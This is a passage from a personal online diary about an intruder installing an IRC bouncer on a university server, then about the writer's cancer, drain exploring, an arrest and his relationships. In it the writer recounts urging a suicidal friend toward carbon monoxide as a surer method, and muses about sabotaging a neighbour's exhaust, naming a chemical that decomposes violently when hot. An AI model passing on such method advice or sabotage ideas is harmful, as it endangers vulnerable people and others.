http://www.psychoid.lam3rz.de/psyBNC2.3.1.tar.gz + +---------- +---------- +This is *precisely* the command he used. +---------- +---------- + + The next step is to decompress this file (.tar.gz is kinda like a .zip + file for all you windoze ppl out there). To do this, type: + tar zxvf psyBNC2.3.1.tar.gz + + Notice that it's case-sensitive. Everything in unix is case-sensitive. + Keep that in mind for everything in the future. + + If you typed the correctly, you should have a psybnc directory on your + shell. Change to it and see what you have! + cd psybnc + ls -al + +---------- +---------- +He did that too, same version and all! +---------- +---------- + + + Now, this next part is where it gets a bit harder. psyBNC includes a + GUI for configuring the bnc. However, this requires ncurses to be + installed on your shell, something a bunch of shells do not have. In + my experience, most flavors of linux have it installed, but some + others don't. So, give it a whirl. Type: + make menuconfig + +---------- +---------- +We have ncurses but make menuconfig was the next thing he did. +---------- +---------- + + + + If you get a GUI, congrats: the configuring process is much easier. If + not, well, welcome to my world ;) With menuconfig, the GUI is very + easy to follow: obviously an [X] denotes that the option is selected, + while [ ] indicates it's not. + + For all those stuck doing it by hand, after each option I explain how + to set it. For all the compiling options, everything is placed in the + file config.h, which is found in the psybnc directory. Just open that + file with your favorite editor on the shell (I use and recommend pico + - You can edit the file by typing: + pico config.h + +---------- +---------- +I think this never happened - so he did a standard psyBNC config. +Or maybe he gave up - it was all too hard. Our crontab is unaltered since +2002. +---------- +---------- + + +So there. + +Soz sez the C code above basically generates loads of crap and spews it at +the address in question - I figure these addresses are IP numbers of mIRC +users whom the cracker is trying to knock off their mIRC systems by, in +essence, DOS-ing them with a flood of digital garbage. He was gonna run +an mIRC proxy on our pipe so people could do the same to him and not knock +*him* off. + +The uni is gonna go this chap for, amongst other things, copyright +infringement. I told 'em they'd have no chance with psyBNC since it's +GPL'd but tembak.c is probably copyrighted even though there's no +evidence about who wrote it. + +Jerking off mIRC kiddies by running a DoS script on someone else's machine +is a fuckin' silly reason to get kicked out of uni and deported. The uni +is gearing up to nuke the dude so that his smouldering corpse can be held +up as a warning to the rest of the local pool of 'l33t k-r4d h4x0r d00dz. + + +---- + +Back to my life. + +Friday Night Obtainium - a STUCCO resident left STUCCO and abandoned a +serious caving torch, which they've given to me 4V Exide Triclad battery +and a couple of helmet-mounted lights (halogen, dual-bulb incandescent). +Woohoo, the geniune MSA item! Shame I can't take this on the expo to the +uh, secret location, people'd think I nicked it from the site. It goes for +hours and is really really good - fullet pucking broof. Gotta cook up a 4V +supply for it tho. Need a circuit. I can probably snarf one from the tech +pages of national semidestructor. + + +The non expo - return of the diode. The biggest find in the history of the +clan has been found, a huge, vast, coal mine is being decommissioned in +Newcastle, but due to diode's pissing off the other people who were +organising the expedition, nobody turned up at the meeting point. I got an +SMS saying it was cancelled and acknowledged it, but had invested too much +time and effort in tweaking my sleep cycle, prepping my torches/batteries, +arranging food/water load to take with me for a far-north all-night +explorama, to not at least see if anyone missed the late cancel and showed +up at the meeting point. Damn. I got home that night and by the time I did +dad was recovering from an idiopathic episode of hypoglycemia. He's a well +controlled diabetic, but we're not sure what's doing this. Mum saved him +by stuffing him full of chocolate. Poor bugger, dad. + +I dunno what diode's saying about me these days and don't much care, and +the clan listserv has become much nicer since I added the +low-frequency-of-occurence regexp trigraphs from his email url and name to +the killfile; I was catching everything he wrote on the Clan listserv and +routing it to /dev/null but I've changed the procmail config so that it +routes his stuff to a directory which I will maybe read later if I can be +fucked permitting a bunch o' what'll probably turn out to be pages and +pages of predictable, self-righteous abuse and intimations that my +personality executes on a skullful of metastatic tumor rather than the +usual neural net. Something about him has changed a lot in the last few +months. + +Suburban drag. +The late-adolescent rev-head real estate agent trainee over the road who, +thinking that a sports exhaust will make his car faster or tougher or +something, is a nuisance to every house past which he drives his +bespoilered, mag-wheeled doof box. Now, normally I'd just torch the +vehicle but there's a catch. He lives over the road from the old's place, +and parks his car in *his* oldies house. They have two small four-legged +mobile transducers which basically exist to convert dog food energy to +sound on the approach of strangers or other dogs so I can't sneak in and +alter the large-diameter muffler which we all hear at 2:30am when he +drives home. This left two options both of which were unsatisfactory since +they'd lead to the replacement of the existing noisy muffler with another +just like it... either rip the thing off or spray into it some Space +Invader, which is an aerosol-delivered expanding foam wall cavity filler +which sets hard thereby blocking the fucking thing completely. But these +extremes lead to the replacement of the exhaust and we're back to +noiseville again. I have finally thought of the right acoustic dampening +material... steel wool. The car will perform exactly the same but just be +quieter if I stuff about $10 of steel wool into the muffler. I know where +I can do this - in the carpark at his place of employment. Excellent. If +he spots me, and complains, I'll own up, and mention that he's lucky I'm +not using Polyfilla. Or calcium perchlorate, which is freely available at +pool (water, not cueballs) shops in kg quantities and uh, decomposes +violently at exhaust temperatures. + + +"Fuck heaps of hot chicks." --Dougo + +On sat7th, in the arvo it started pissing rain. In said rain I rode +(surfed? jet-ski'd?) around to Turella to loan Soz my motorcycle for use +in the Mardi Gras. Poor woman, it rained continuously for ages while they +hung around in wet carparks being marshalled, checked, registered etc +before the parade and her pillion wussed out. She came back a couple of +hours early, fed me some poached eggs on toast (yumee!) and I rode out to +the drain at Homebush (with a nice big dry warm room with lights too) to +check how flooded it gets during serious rain. It gets _seriously_ +flooded. So I went back to Turella and while my socks dried out in the +stream of hot air venting from the fan exhaust at the back of the cat +webserver, slept in the cot with the cookie manufacturer, who shagged me +after feeding me chunks of cheese and chocolates and plying me with +flammable jamaican rum. I drove out into the rain the next morning at +11:30am and got to Strathie at noon, Zyn awaited and I had to tell her +that due to the idiotic rains the exploration wasn't happening, so she +hired a room and we went up and I uh, got out of my wet things, and +eventually, we shagged there, which was delightful, but ohhh, I'm feeling +my age... I have now lived to hear, at the ripe old age of nearly 33, the +phrase which falls, graceful as a pallet of tombstones upon every man upon +whom it is dropped even in jest... `What's the matter old man, can't get +it up?' + +I can. It just takes more time than it used to. I'm not twenty and I +shagged someone 11 hours before and I'm not a sildenafil-augmented +life-support system for a hardon... though as far as career moves are +concerned it couldn't be that bad. Evolution wired men to get up, get in, +get off and get out, fast, which is no fun for the women. It's taken years +to reprogram the dick (and it's not very bright - like the old saying +goes, one eye and no brains) so that it stays up long enough for the +kindly recipient to seriously enjoy it, but it needs a general change in +attitude to achieve this control, and too much waiting kind of kills the +stab of urgency which drives men, or at least drives me. Ok, so (quoting +Greg Egan) I'm a pathetic hormone-driven wind-up toy. Ah, well, I can't +complain, we did have some good shaggin'. And they make great coffee down +at the Plaza. + +No, She's right. Sometimes, it doesn't happen when I want it to. But let's +get it in perspective. + +In one of the most wrenching conversations I've had all year, it turned +out, Zyn's been contemplating suicide, like I have. She's pretty sick. +I've felt now the mets which speckle her chest like shotgun pellet wounds +ever so slowly erupting from the inside out. She was, as the suicide +statistics suggest, gonna stuff herself full of paracetamol but I said +this'd just lead to her being found someplace sick as a dog and being +whizzed off to get her guts pumped out, and that if she was seriously +gonna do it she use CO or something fast, toxic as fuck and irreversible. +She sorta implied she wants me to help and found myself stuck for words - +I'm having enough trouble getting the gutz up to do myself. She also sort +of implied she wouldn't do it while she and I were in the loop, which +amounts to an unwanted, and sort of huge, responsibility for a life, a +responsibility which I don't want. + +Her mum sez it'd be good if Zyn did kill herself, which doesn't sound +especially charitable. + +----- + +Sunday night I wrote amongst other things to the Dioscorean (a biochemist +friend of mine doing a PhD at Stanford in the US) the following stuff: + +There's this advert pasted up in bus shelters and on billboards all over +Sydney at the mo. It's got this pair of female lips pointed at a telephone +handpiece, and in large letters down the bottom of the adverts it sez + +"There's a new treatment for cancer. Talking." + +I know this is bollocks simply because I talk so much that if it was true +I'd never get cancer in the first place. 8-) + +I also know it's bollocks 'cos you can talk about it all you like and +it'll take you out regardless. + +But I think my wry sense of humour causes me to want to go get +photographed in front of a billboard with this on it. + +--- + +I also mentioned i was smitten with her in 1998 but never said anything +'cos she was in the loop with someone else at the time. She's taking a +long time to reply to that. + + +------------- + +Monday disappeared in a blur of trivia so mind-numbing I can't remember it +now, tho I did acquire another server chassis and photograph myself in +front of aforesaid billboard. My mum's dog is becoming adept at `walking' +my neighbour's rather more stupid dog, when I tie them at opposite ends of +the same lead. How good is that - one can benchmark one's dog by seeing +which one `wears the pants' in a two-dogs, one rope situation. + +Tues 9 I saw Zyn at the uni and we chatted a lot, again. + + +Wed: + +In the early hours, heavy of heart, I unsubscribed myself from the Clan +list, where Diode's been posting inaccurate calumnies which I cannot be +arsed defending myself against, since it'd just give him more things to +deny, obfuscate, or pretend to misunderstand. (Author's note: my +unsubscription provoked a lot of grumbling amongst the remaining list +users). + +Marcin, at STUCCO, gets my climbing rack today. Partly sourced in Nepal, +and the rest largely originating in the remains of the late Mullet's old +rack, I climbed the delightful metaschists at Arapiles with it, and +various sandstone walls around Sydney, and also some perilous manky +conglomeratic garbage at the Grampians. I keep the karabiners, my rope, +slings and harness. I wrote to Joss there are many memories in those +battered chunks of alloy.... hexcentrics, chocks, old rigid-stemmed +Friends (what are now called self-loading cam devices). Having them in my +hands reminded me of the smells of eucalypt kino, the wet earthy smells of +disturbed moss and sun-baked rock one is enveloped in as one scales the +walls, with bleeding hands, aching arms, doing the calculus of survival as +one heads up a rockface. + +In the eve I went down a drain at Rockdale, which starts under the Holden +dealership and ends adjacent to the railway. Nice shape changes and size +and materials variations (I've never seen a spiral white plastic tunnel +1.8m diameter!), and only a 10 min bike ride from Blakehurst! Four other +people came with me, their first formal expedition. It makes me happy to +see other people getting the same buzz out of drains that I get. + +The cookie manufacturer thinks she has mononucleosis, which is to say, +EBV. I'm surprised she didn't get it already, years ago. I'da worried +about this but I got it in 1984 and one never loses it. EBV likes to make +you sick if you happen to be immunosuppressed, which is a bugger, 'cos in +the later stages of my remaining life either my tumors (in an effort to +hide themselves from immunosurveillance) or the cytotoxic drugs I might +use to try to kill them, will immunosuppress me. I'm not sure she does +have EBV, since some of the symptons are missing. Her doctor is really not +clued in with molecular data either. + +Joss sent me an email saying she wanted to shag me the moment she got back +to her old's place upon arriving back in Sydney. This is, actually, +tactically messy since her place = her mum's place, and as far as I can +tell Joss' mum still thinks Joss is married to Azza in England, and as +far as I can tell as I write, so do I. I think it would be pushing the +limits of chutzpah to go to someone's house and shag their married +daughter about an hour after they'd got through customs. But I guess I +push these limits a lot already. + + +Thursday. 11th March. I thought it was wednesday all day until just now. +I've gotta change the chain on the motorcycle and get it re-registered. +I'm gonna ask for odd teeth on the back sprocket and evens on the front, +so the positional permutations are larger and the system will last longer +'cos wear will be spread across the whole drive train and not concentrated +on one point. Only weirdos, mechanics and pure mathematicians know this. I +am not a mechanic or pure mathematician. + +I got an email from Joss about her uxorial status and what her oldies knew +of it - she has evidently mentioned to them that she and her UK hubby have +parted ways. It appears Joss wants to jump my dying bones when she gets +back, which apart from being a great thing, IS gonna scramble my heart a +bit - monday might well be a day smeared with carnal secreta, but will +definately be stained with salty lachrymation and the snot of emotional +turbulence from my position. I kind of expect she sees that a lot, I know +from first-hand experience how easy it is to become smitten with her. +She's as old now as I was when we were first together. We loved each other +for a while, a couple of years ago, and then she peeled herself away from +me to marry a bloke on the other side of the planet. It's her life, I told +myself, it's not my right to chain her to me, for the joss in a monogamous +cage is not the true joss. I missed her like hell but kept my trap pretty +well shut, and thought Azza had suddenly become the luckiest bloke on the +planet. + +She popped back to Oz for a short visit last year. She was also sort of +angry last year at the whole sitch when she visited and I wouldn't shag +her 'cos she was married then. Don't get the idea I'm gonna crap on about +the self-righteousness of that decision, she still made me pointy, as she +does now, and I might have, but I was mainly just too burnt to get close +to her again only to know she was gonna get flung down another runway and +out of the country and outta my life again. + +Pilot : Say, we just sucked a barely airborn humanoid into engine No.3! +Co-pilot: Oh, yeah. That'd be Icarus... shouldda got a real pilot's license. + + +-- +All is fair in love and war _because_ from a gene's perspective love and +war are two sides of the same thing. Someone once said wars don't decide +who is right - they decide who is left. + +So now she's coming back, and I never thought she would. But I'm +_truly_ruly_ dyin' anyway, what a fuck-off! She reckons she's coming back +because she loves me and I'm prepared to believe it, 'cos I'm moth to +flame with a gallon of AvGas and oh, I dunno, I do trust her, but the +egotistical suspicion lurks at the back o' my head that she has returned +here, instead of stayin' in England and hooking up with someone else +there, solely because my metastatic circumstances have forced _my_ hand. +Fuckin' cancer. Well. If carking it causes old dear friends to come back +to live near you, I guess you should be grateful to yer disease. + +A cynical bit of calculus occurred to me a day ago. I'm living my +remaining life to the limit, and getting more shaggery than I ever thought +possible, and I think it's mainly 'cos I'm going around telling people I'm +dying. Doubts about this claim are instantly dispelled by the significant +scar up my frontal axis. + +But suppose I wasn't legitimate... say, had paid to have installed a slash +up the middle to which I could append, and legitimate, stories of +impending mortality... and then after walking around for a couple of years +saying I had a biological Damoclesian sword growing within me, be +miraculously cured. It's a tactic I'm sure a bunch of men would have +figured out before I woke up to it. + +I wonder to myself, what _is_ she doing in Oz again, why is she here? I'm +on the way outta this human condition, and to me she's another reason to +stay, another person to think about causing anguish to if I conclude it's +time to shut myself down. Ahh, but I'm gladder about her return than I'm +prepared to admit to myself here on the glowing green screen. I like her +enough to use her real name here. Names have been changed to protect the +identies of various people throughout these rants, but Joss, bein' a +smidge closer to my periosteum than most, cops the scourge of actual +identification. I dunno what this means, actually. I once painted her +under a psued' but I can't now. + + + +Oh, to see the world portrayed in a domestic insect electrocutor... I +fixed the bug zapper last night, it developed a carbon bridge between the +grids (lowers the inter-grid voltage), so I chopped it out and replaced it +with a chunk o' silicone (do not test with shields off, HV will kill you). +It's actually something of an ecosystem to itself, a high voltage, +argon-lit charnel-house drawing in all aviators who can sense its +ultraviolet fluoro lure; the tiny, blasted, corpses oscillate at 50Hz in +the electric field which shocks them so violently the little scales on +their wings waft upward like dust with the blue smoke which used to be +their guts. I have looked at the insect zapper and my understanding has +been transformed - the truly clever spiders build their nests under the +electrified grid, so as to the reap the dead rain of barbecqued insectoid +manna which falls, smouldering, from the heavenly kilovolt-energised grids +above. + +------------------- + +March 12. Drivel. I put the dog in my backpack and motorcycled down to the +motorcycle shop for new brake shoes, chain, front'n'back sprockets. +Motorists behind me smiled at the doggie as she looked back at them, +peeking out from the lid of the pack. They put the axle bolt in backwards, +I noticed later, and they duly reinserted it the right way around when I +mentioned this to 'em, free of charge. + +I came back later and brought the doggie home, to discover the +dumb-as-a-housebrick, noise-nuisance, beagle from next door in our back +yard. It was pretty cranky about something... it snarled as I went to pick +it up and return it over the fence, so I put my motorcyclin' gauntlets +back on and tried again, whereapon the fucker curled and sunk its teeth +through my shirtsleeve and into my left arm. I changed grip from +`considerate' to `arms extended, hands around its neck, and could care +less if animal is strangled' and dropped it, snarling, back over the +fence. Superficial wound, no anaerobics, so I've been lucky. Drowned the +bleeding skin in iodine. People asked me later if that was a love bite. +Which, if you think about it, is a pretty offensive question if I assume +people know the difference between the bite of a dog and a human, but +evidently people do not. No. I date within my own species, actually, +despite what previous dog-fucks-leg stories might suggest. + +I nailed up the missing fence planks, said doggie perfectly friendly +again. I popped back over the fence and cleaned and realigned the coils on +the 2.4GHz helicals I'm gonna install at STUCCO. Lovely aerials. + +I caught up with Lias at the Piccolo on Kellet St in the 'Cross. Fuckin' +smokers. He's the same as I remember him, thoughtful and wryly grim. Has +moved in with a woman in Bronte who is into _organic_ essential oils, +which she said in a way which I immediately knew meant she didn't know the +difference between an organic and inorganic material. Montmorillonite an +*aluminosilicate* dear, it contains no carbon, it has no metabolism, it's +not alive, it never was alive. It's not organic despite what the label +says. Lias is an OK dude. When the collapse comes, he's gonna be ready. +He's a funny chap actually... he's keeping himself healthy shoplifting +vitamins from supermarkets, the way he looks at it, it's pharmo +corporate-sponsored free health care. He's doing a tourist video about +hitching rides on express goods trains to Melbourne, the Lias way, which +consists of running as fast as ya can, grabbing on, slingin'a hammock +between two bulk freight carriages, then lying in it for eight hours and +watching from the train at 150km/h as it overtakes the cars on the +freeways adjacent. + +*sigh* + +Ya gotta laugh. I got some spam today. Subj: "Predator, start smoking +today!" Well, I did go to the Piccolo last night, which is (cough) a good +initial effort. + +Sat 13... I got an SMS very early this morning, feen, millsy taff and me +are gonna do that fuckin' novocastrian anthracite mine, but on sat night, +which is when Zyn and I were gonna get a room and test the mattress. You +can guess which one I chose... and she's not very happy about being +gazumped. + + +I got a phone message from dad, some woman rang up, I had no idea where +the number was, googled the prefix and found ... Alstonville? Up near +Lismore. I rang it, got a voice message and Kath rang back... arr, she's +in Alstonville now?! Anyway, it turns out her boyfriend makes coffins for +a living and apparently there's laws that say you can't buy them in +advance! What a load of fuckoff! Well, I guess that's another project - I +can rob the funeral industry of about a grand if I build my own casket. +(Hmmm... that's why a circular saw will also be useful). I imagine there's +templates on the 'net for that. Or I could dive their dumpsters. + +"Art is for the filthy rich and for their noble fucking minds + 'cos they're they only ones with any fucking time + to go to all the galleries and all the restaurants to dine, + while all the grotty working class are workin' down the mines." + + -TISM -The Art/Income Dialectic + + +5:10am Monday 15.. well, the mine was amazing. Difficult to access, and +with the usual Clan logistical fuckups and delays the six of us got into +it at 2:15 Sunday morning. The faintly sour tang of coal reminded Taff (a +Welshman) of the olfactory signature of his homeland. A LOOOONG way down a +steep incline cut into the stratigraphy, with a railway and a conveyor in +it, you eventually get to a fork which is one's main access. From there it +goes off in all directions for kilometres, through airlocks, blast doors, +past more railways, control rooms (lots of porn in the cupboards), meal +rooms, machinery stations full of various nonfunctional tools abused and +destroyed in imaginative ways, fuel depots, transformer stations, various +mobile, blast-proofed, diesel machinery built out of plate iron, solid +rubber, etc etc. We only explored a tiny bit of it. The walls are painted +white so you can spot spall in the gleaming anthracite, and the cielings +are bolted together with steel plates to stop the roof collapsing... this +hasn't worked everywhere. Hummming 'lectrical equipment is invariably +housed in metal boxes and blast-proofed. We were in a part of the Wzyee +seam then the Fzassifern seam, both of which were being longwall drift +mined by fifty-six tonne mining machines which mowed slices out of the +earth dozens of metres across and hundreds of metres along. Eventually the +coal gets tossed in a crusher and conveyer-belt transported to the Valez +Poynt power station. They're gonna mothball the mine now, backfill it with +nitrogen (reduces methane seep and prevents fires) turn off the pumps and +brick it off for ... well... who knows. Until it all floods? Subsides? How +many people never see these trapped layers of inky blackness which by some +strange quirk of mathematical cancellation, when burnt, repel the inky +blackness of night, keeps everyone's electrickal lights lit? + +(Coal, by the way, is electrically conductive, so we were in a big long +complicated waveguide array... you could do some interesting RF +experiments there. Only geeks think about that sort of stuff.) + +Undiscovered, we got out at 5:30am and went back to Sydney sans the +expected fines and gaol terms we would get if we were caught down +there. Very happy but very tired, I got home and collapsed into a dead +sleep. + +I got just a bit of kip and awoke later, showered off myself the coal dust +which hadn't rubbed off on my bedclothes, and read Lehninger... in +1965 he wrote that proteins have more information content in +them than DNA does per unit length.. 1965!! WOW! I figured this out +for myself in 2002 so it's good to know I'm not a nutcase for thinking it. + +Whizzed into Stucco to give 'em my RJ45 crimpers (they're very happy their +old harddisk works), had beer and a chat with Safa and the cookie +manufacturer (we have some very rude conversations, about topics ranging +from the fine art of vaginal fisting and how many people I am shagging and +wether or not particular DVD porn is any good), then went back to the +IceCream factory and built a machine for Garcondumonde who's an English +chap with some arm of the UK Indymedia crew. Then after harvesting some +uh, abandoned aluminium sheet (it had something about a 50 ZONE on it) +en-route to the parentals, built another machine into a chassis made of an +abandoned computer case, some aluminium chequerplate and an old steel No +Trespassing sign left to rust in the bushes on some land owned by the +Water Board. + + +Bloody hell Adaptec SCSI BIOSes annoy the shit out of me. SCSI is great +but arrr, why does it have to take the boot process over by default... +can't it just be invoked by modprobe when I want it like the AHA152x on +the Dell Latitude P75 port replicator? Grrrr... NCR, who are usually a +bunch of fuckheads, got it totally right with their unobtrusive 53c8xx. + + +Anyway, it's 5:30am now as I write. Joss has been sitting in a tube of +jet-propelled metal, moving at high velocity, couple of km above the +earth's surface for the last 20 hours or so. I'm gonna go out to Mos +Eisley, er.. Kingsford-Smith airport and greet her, with her Dad. + +----- + +Thurs 18: In background I'm ripping Asian Dub Foundation but that's cos I +said I'd dupe it for Nomes to get around this stupid copy control stuff, +not 'cos I especially like the music. The rant subsequently attempts to +compress a lot of stuff into a few lines and there's a lot of chronology +out-of-sequence errors 'cos everything's a bit of a blur. + +I got out to the airport Monday morning through surprisingly early feral +traffic, and met Keith in the crowd at the international terminal. +Initially when I got there, lots of hotel dorks in suits stood around +holding up signs with names on them and I thought I'd stand in front of +'em for better crowd contrast (I wore a singlet and camo slacks and boots +and a black floppy velvet Dr Seuss hat) but this just resulted in a bunch +o' security boofheads discreetly appearing behind me. Keith and I nattered +about some emails of his which didn't make it to me, concerning CDMA +coding methods, and Joss walked down the corridor pushing a trolley full +o' junk and waving at us. It was very good to see her again with my own +four eyes, 'cos oh, ya know, I didn't think I ever would again. + +We rolled out to the carpark and she got in the 4wd with her dad and they +drove off to Balmain as the dawn fractured the clouds. I snuck out of the +carpark through a gap in the bollards. + +We met up at Darling St, met Jude and Sophie and Joss' mum and whoever +else was there, Joss and I just hugged a lot and chatted and ate some +food. I have vague, pleasantly confused, memories about her shagging me +stupid while both of us, either jetlagged or sleep deprived were in the +process of incompletely attempting to get some kip. I was pretty shattered +later in the arvo, and then we shagged again, which was unexpected and +delightful too. Words for it aren't gonna work so I'm leaving them out. +I'm still wrapping my head around it all now. I think these were the shags +ya have when you haven't had time to think about it all. + +I'm not really sure but I think it was sometime on monday arvo that I did +the snot thing. I've not held anyone like I did and just seeped hot salt +out of my eyes, nakedly clinging to Joss, arms aching, and doing that +shaking and sobbing which happens when there's a couple of years of +i-missed-you and im-thrilled-to-see-you-again and +theres-so-much-we'll-never-say, and also a load of +oh-fuck-do-i-HAVE-to-die that needs to leak out of your head. Well, MY +head. I was too broken up to even think about a shag. She enveloped my +torso, warm and soft, reassuring, wrapped around me like an very old +cashmere jumper I liked to be in and wore until it wore out, I felt a lot +of emotions churning in my guts, the names for which I don't have. Pain +isn't one of them. Mainly relief, reassurance, a feeling of being ... +where I am meant to be. + +For as long as I can remember, maybe I've never cried like that. I dripped +tears off my cheeks which landed on my chest and thighs and dick and on +Joss who also wore a lot of my teary snot after a while. I'm almost +getting snotty remembering it. I can't remember what I said and maybe if I +did I wouldn't have the guts to write it here. + + +Tues arvo I left Toad Hall and rode out to Parramatta. You can look up the +rest of the day's events in the NSW Police records.... it was totally +refuckingdiculous! Basically, Purple Death Faerie and I were spotted goin' +in the drainage grate by some cleaners, who called security, who called +the cops, who called progressively higher and higher level cops, who +probably called oh, I dunno, whatever god cops worship, and by the time +PDF and I got out of the drain (after spending about 2 and a half hours +wandering around and/or singing Tori Amos and Beach Boys in the delightful +echo chamber) there were about thirty cops waddling around the entry +grate. Some female constables picked us up off Hill Road 'cos we spotted +them near where we got in and decided to walk the long way around to avoid +'em (which obviously didn't work). I spun 'em some crap about having +dropped keys in the drain 'cos I was sort of embarassed telling a couple +of female cops I was angling for a shag in a drain, not 'cos I'm ashamed +to do that sorta stuff but 'cos, well, it's none of their business. They +stuck us in lockup vans (I've always wanted a ride in a police car ... and +I did it while not wearing a seatbelt either!), drove us around to +Faerie's van, let us get our IDs and searched it, then drove us around to +the drainage grate where we got in. They asked me out of the van where an +angry short cop (Taylor?) snarled at me, "What the fuck were you doing in +there?" I told him the truth, I was down there for a shag, didn't shag, +ended up wandering around and then sat in the room singing and talking. He +asked what I did for a job and I said I was a computer geek and I taught +people how to program at UNSW. He said I was listed in their cop database +as some kind of activist. I said I did some firewall stuff for TWS and FOE +and helped run an ISP called cat but I didn't go to demo's. He asked me if +I knew anything about something called the DSP and I said uh, digital +signal processors? and he yelled `Oh bullshit!' loudly and told me to get +in the fuckin' van. I found out later this was a reference to the +Democratic Socialist Party, whoever that is. They emptied my pockets on +the bonnet of the wagon and locked me in the back of it. + +I waited in the van for about three hours while they arranged for an +explosives and firearms labrador to come and sniff me. When it got there +it exhibited absolutely no interest in sniffing me even when the handler +grabbed it by the scruff and shoved it at me. I watched through the steel +mesh as lots of cops waddled around talking on cellphones... dog handlers, +overall-clads, plainclothes detectives, uniformed dudes with various +quantities of braids'n'shit on their lapels, and super-duper-intendant +cops which were sent down from the district command. Some of them do this +muscle-strut walk which suggests there's a piece of LEGO or something +stuck under their armpits and between their butt cheeks but maybe this is +just the overalls or something. Why _so many_ cops I wondered to myself? + +Eventually they took us to Auburn station where we found out we were under +arrest (when I asked). They didn't say what for. They took all our stuff +and put it in lockers, asked us a bunch o' stuff, then locked us in these +cramped little cells until the detectives got around to interviewing us. + +So I didn't make it to Jude's 21st 'cos I was locked up in a brilliantly +fluoro-lit, somewhat chilly, perspex-walled fuckin' gaol cell too narrow +to lie down in without bending my knees, waiting to be fingerprinted and +photographed for trespassing in a tunnel. There were no signs saying we +shouldn't be there, and I broke no locks, scaled no fences, and I even +shut the grates once we'd been through. They let us go at about 1am. We +got all our stuff back. We ate chicken kebabs and read our bullshit charge +sheets, which are littered with typos and spellos (like I should talk) and +got a cab back to the Faerie van. We have to go to court on April 8th. PDF +was very, very cool about it, and displayed considerable savoir-faire in +the face of such police idiocy as, for example, their asking her to +remove her incredible mass of hair, wire, rope, braids, beads and drain +cobwebs from off of her skull. + +Zyn's sending me SMSs which suggest she's feeling a certain amount of +neglect. I couldn't answer one of them for 9 hours cos I was in the slam +without a fone. SMSs are kinda dangerous, their forced brevity can impart +to a message a sort of brusque aspect it really doesn't intend. + +I got an no-spaces SMS from Joss (you pack more data in that way, she +correctly points out) saying she hoped all was cool and I SMS'd her back +saying what happened but this was amusingly to her mother's cellphone. +Joss wrote a file to me later saying that she was worried about me +drowning or committing suicide. + +Nope. I did chew the back of PDF's stubbly skull a bit (she likes it and +sez I chew her skull better than anyone else) and get yelled at by tubby +cops and have nine hours of my life flushed down the toilet while penal +paperwork (it sounds as masturbatory as it is) was done but no kinky +sex'n'death. + +So I'm up on Section 4 (1) (a)of the Inclosed Lands Protection Act, +specifically the bit which sez I am a person who entered inclosed lands +without consent of the owner/occupier or person(s) apparently in charge of +those lands (which is why the detectives hammered that point in the +interview). For heaven's sake.. the olympic park authority maintains a +website saying `come and play in our park' . . . well, we *did*. Look what +it got us. + +I checked it out on AUSTLII and if, as I suspect, they slap me with 10 +penalty units, I'm up for a fine of $1100 bux and a criminal record. Which +will also probably result in the cancellation of my explosives license +(which might be a good thing, in some scenarios). Unless someone finds +some anti-terrorist legislation to exemplarily fry my arse in, in which +case I can expect to die of cancer in the slam once I'm convicted. Sux. Oh +well. I know I'm not gonna be in for an inordinately long time. Naaah. +They really know I'm not that risky, I keep telling myself - they let me +go with no bail. + +{The Penalty Unit is an interesting monetary concept in itself. A house in +Sydney, at $360,000 for a cheap one, is worth 3272 penalty units of $110 +each. You've gotta do a really long sentence in the office cubicle to earn +yourself a place to live in Sydney. That we have penalty units at all is +classic negative feedback, can't we have a judicial system which rewards +people when they do good stuff? More carrot, less stick?} + +I guess all in all it's better than being mid-shag in a drainage tunnel +only to have a trigger-happy cop yelling at you at gunpoint, while his +snarling attack rottweiler bites yer balls off. It turned out the reason +the place got such a massive response was 1) a few daze ago some fuckheads +blew up a lot of bombs on trains in Spain and 2) the cops were holding +some sort of police anti-terrorist convention in the stadium above the +drain system we were exploring, in the wave of terrorist paranoia which +followed. So the huge response was a belated attempt to minimise the +quantity of egg on the face of whoever was doing the security logistics +for the conference, who must have looked like a bit of a dickhead if they +left a lot of police brass vulnerable to the drain explorative antics of a +two-legged tumor and a walking life-support system for a carnival of hair +extensions. + +Come to think of it, if my name was Ahmed and I had brown hair and a tan +they'da probably just shot me on sight anyway. + +Faerie drove back to Lidcombe where Kev greeted us on arrival. Kev appears +to be a complete space kadet. He's taken eight months to fail to fix PDF's +RAID array and is crashed, like her computer, in her place at the moment +cooking up an AVO against the mother of his child before she cooks up an +AVO against him. Happy days.... not. I think he's running more than a few +cycles/second short of a kilohertz. + +Back at the oldie's place, I slept. Matresses are better than lino cell +floors and scratchy brown wool blankets. I woke up and walked the doggie +and liked a lot that I was able to walk around a free being. Not cancer +free, but free of the crushing, immobilising encumbrance of several +hundred tons of cop-infested ferrocement police station. + +I drove to Mabel's to slap Knoppix on her poota but xmms wouldn't read the +damned files on her WinFAT98 partition. The two-day-old pizza in my pack +smelled funny and was getting a bit hairy, but went down very well and I'm +surprised it didn't make me sick later. With this stupid filesystem format +failure under my belt I went back to Joss' place. I had a shower and we +went down to Elko' park to the cliffside where the pred/joss thing started +in earnest, years ago, one night on the sandstone cliffside in November +2000. + +I went around to Lias' on Wednesday night, he gutted a trevally and did a +damn good job on it with some ginger, garlic, lemon rind and pepper. His +girlfriend has finally got the idea that I'm seriously clued up about +extraction methods used to get the essential oils on her shelf and has +stopped throwing the word `organic' around with such casual abandon. Last +time she dropped it, it earned her a five-minute rant about C12/C14 +isotope analysis and time-of-flight mass spectrometry as used to +determine the synthetic or biochemical origin of, say, a molecule of +vanilla - a rant which, delivered incorrectly, could bore a slab of +concrete to death. I do it right 'cos it's interesting and useful, I think +she *got it* - weigh the fragments and you can figure out if a plant made +the thing recently or if it originated in a petrochemical trap (all the +C14 has turned into C12 in ancient oil deposits) half a billion years old. + +I went back to ToadHall and tried to get some kip. What I ended up doing +was lying there not knowing if I should or should not sleep, since my +clock was sort of askew from the previous night's fun in the cells and oh, +you know, ya lie next to naked women and sort of naturally want to +carnally disturb their slumber, but they might wanna sleep. I eventually +got up and inhaled Keith's textbook on communications satellite +engineering which was pretty interesting actually, I like the aerial +design and travelling wave tubes and some of the nice comms maths about +average error magnitudes and various other wacky things to do with orbital +stabilisation. + +The odd thing was, in the morning dawn, Joss _asked me_ (she really +doesn't need to ask me, but she did anyway!) if it was ok if we didn't +shag for a while (a while, by the way, might mean anything from half an +hour, to forever, so I was sort of on tenterhooks). The ask was pretty +surprising, and part of me felt a bit stung about that and I reluctantly +(I have to own up to really enjoying sharing shags with Joss, and I kinda +wanted to know why she didn't want to shag me) said, yeah, it's ok, the +usual anticipatory early-morning half-hardon rapidly shrinkin' into my bod +and a faintly frustrated angst replacing it. The last thing I want is for 